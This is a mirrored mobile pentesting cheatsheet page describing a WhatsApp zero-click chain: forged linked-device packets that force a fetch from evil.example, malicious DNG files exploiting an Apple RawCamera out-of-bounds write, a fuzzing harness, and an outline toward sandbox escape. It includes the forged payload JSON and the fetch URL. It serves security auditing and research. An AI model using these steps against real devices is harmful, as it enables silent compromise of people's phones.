repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
zero-click-messaging-image-parser-chains.mdMarkdown164 lines14.2 KiBsource raw download

title: "Zero-click Messaging → Image Parser Chains" section: "Mobile" sectionSlug: "mobile-pentesting" sourcePath: "src/mobile-pentesting/ios-pentesting/zero-click-messaging-image-parser-chains.md" sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/mobile-pentesting/ios-pentesting/zero-click-messaging-image-parser-chains.md" sha: "188de82beb54e70956b2952367a0af91d26758b8" isIndex: false modified: true license: "CC-BY-NC-4.0"#

Zero-click Messaging → Image Parser Chains#

TL;DR#

Remote content loading via WhatsApp linked-device commands#

Attack surface recap#

The WhatsApp "linked devices" architecture keeps the primary phone and every companion (desktop, tablet, secondary phone) in sync via encrypted, structured protocol messages. Each message encodes:[1]

On Apple clients, the handler that processes these linked-device control packets implicitly trusted that a valid pairing already occurred, so high-impact fields (e.g., resource_url, open_media, sync_snapshot) were only minimally validated. A malicious companion message could therefore:[1]

  1. Be routed to any account identified by its phone number.
  2. Survive the transport stack (Noise protocol + WhatsApp protobuf framing) because the receiver never verified that the sender was a legitimately paired device.
  3. Reach the iOS client, where the vulnerable code path automatically triggered a background HTTP(S) request to the attacker URL and parsed the response in a hidden WebView/media renderer.

Practical workflow for auditors#

  1. Capture legitimate linked-device traffic. Attach a debugger or Frida script to the desktop/iOS client and hook the post-decryption handler (e.g., LinkedDevicesSyncHandler::processAction). Dump decoded protobuf payloads to learn available action types and parameters.
  2. Identify fields that cross trust boundaries. Any action carrying http_url, thumbnail_uri, download_url, or render_html parameters without strict allow-lists is a candidate remote-content primitive.
  3. Forge a malicious action. Reuse the observed protobuf schema and modify only the attacker-controlled fields. A simplified JSON view of the relevant logical structure is shown below (the actual transport is protobuf/Noise, but the semantic fields match):
{
  "op": "sync_action",
  "device_id": "<attacker-companion>",
  "payload": {
    "target": "content_sync",
    "resource_url": "https://evil.example/payload.html",
    "media_type": "image/dng",
    "flags": ["background_fetch", "render_inline"]
  }
}
  1. Deliver to the victim. Replay the crafted packet through the same WhatsApp service that normally forwards linked-device traffic (e.g., using a modified desktop client or a custom Noise client reusing your attacker account keys). Because CVE-2025-55177 failed to tie actions to authenticated devices, the victim iOS/macOS client would accept the message and immediately fetch the attacker URL without any UI.[1][4]
  2. Instrument the fetch. Observe the forced HTTP(S) request and the internal renderer (WKWebView/ImageIO). At this point you own a zero-click web delivery primitive inside WhatsApp.

Don't stop at linked-device sync#

WhatsApp's later 2025 advisory for CVE-2025-55179 shows the same design mistake in a different message family: incomplete validation of rich response messages could let one user trigger processing of media content from an arbitrary URL on another user's device.[4] Treat that as a strong hint that the real attack surface is every schema that carries remote media descriptors, not only device-linking opcodes.

When auditing current builds, search protobufs and dispatch tables for card-like wrappers as well as linked-device actions:

rg -n "rich_response|hero_image|preview_url|media_url|thumbnail_uri" protobufs/ decompiled/

Anything that ends in background fetch + preview generation is a candidate pre-parser primitive.

Weaponizing auto-decoded DNGs against RawCamera#

Once the attacker controls what WhatsApp loads, the next goal is to make iOS/macOS parse a malicious Digital Negative (DNG) file with the RawCamera framework. Any embedded <img>/CSS URL that resolves to a .dng will be passed to the system image pipeline, invoking RawCamera even if WhatsApp itself never handled DNGs explicitly.[1][3]

Triggering RawCamera from WhatsApp#

Crafting memory-corrupting DNGs (CVE-2025-43300 style)#

The 2025 in-the-wild bug was more specific than a generic malformed TIFF: the DNG carried JPEG-Lossless image data whose internal SOF3 component count disagreed with the TIFF/DNG metadata (SamplesPerPixel). In practice, RawCamera could size some buffers from the outer TIFF fields and later trust the embedded JPEG-Lossless stream while decoding, yielding the out-of-bounds write fixed in iOS 18.6.2 / iPadOS 18.6.2 on August 20, 2025.[3]

That gives auditors a much tighter triage rule than "mutate random tags":

exiftool -s -SamplesPerPixel -BitsPerSample -Compression poc.dng
python3 - <<'PY'
from pathlib import Path
data = Path('poc.dng').read_bytes()
sof3 = data.index(b'\xff\xc3')
print('SOF3 NumComponents =', data[sof3 + 9])
print('DHT markers =', data.count(b'\xff\xc4'))
PY

Quarkslab's patch diff adds a useful constraint: RawCamera only reaches the buggy decompressor when the file also carries a SOF3 lossless-JPEG marker and enough DHT tables for the declared NumComponents. A practical trigger recipe is therefore SamplesPerPixel == 2 in TIFF metadata, SOF3 NumComponents == 1, and a valid single-component Huffman setup.[3]

If SamplesPerPixel and the SOF3 component count diverge, you are very close to the exact primitive discussed publicly for CVE-2025-43300. Typical adjacent levers still worth fuzzing once you have the parsing path are:

A basic mutation harness to hunt for such corruptions can be built around macOS, since the same RawCamera code ships on macOS/iOS/iPadOS:

#!/bin/bash
set -e
for sample in corpus/*.dng; do
  radamsa "$sample" > /tmp/poc.dng
  /System/Library/CoreServices/RawCamera.bundle/Contents/MacOS/RawCamera /tmp/poc.dng >/tmp/out 2>&1 || {
    mv /tmp/poc.dng crashes/$(date +%s).dng
  }
done

Each crash in RawCamera gives you a new primitive. The published PoC achieved a neat out-of-bounds read/write reliable enough to crash WhatsApp on iPhone, iPad, and Mac.[1]

Building the 0-click chain#

  1. Linked-device packet → coerces WhatsApp into fetching https://evil.example/payload.html without any taps.
  2. Payload HTML → silently references evil.dng, guaranteeing RawCamera is invoked by the OS media stack.
  3. Malicious DNG → abuses crafted tags to trigger the RawCamera OOB and crash/own the image decoder.
  4. Post-corruption exploitation → add info-leak gadgets (e.g., abusing predictable heap metadata) and stage a ROP/JOP chain to break out of the WhatsApp sandbox and into more privileged contexts.

Because every step is automatic, the attacker only needs the victim’s phone number. No notifications, banners, or prompts are shown on the target device.[1]

Recent Apple parser-chain patterns worth reusing#

This WhatsApp → DNG → RawCamera chain fits the same design pattern seen in recent Apple zero-click campaigns: find an alternate attachment wrapper that reaches a less constrained parser, then weaponize a file format that the OS eagerly previews.

The repeating audit question is therefore: which message types cause silent parsing in a process other than the obvious chat renderer? That is usually where the chain begins. For sample triage and cross-field consistency checks once you have a suspicious file, reuse this generic structural file-format detection page.

Samsung vendor image parser parallels#

Samsung’s bulletin for CVE-2025-21043 confirmed an out-of-bounds write in libimagecodec.quram.so, a proprietary image parser reported by the Meta and WhatsApp security teams.[6] The exploitation methodology mirrors the Apple chain:[1]

Once an OOB write exists in the vendor parser, combining it with the WhatsApp auto-fetch primitive yields another zero-click chain on Samsung devices.[1]

Testing & hardening checklist#

References#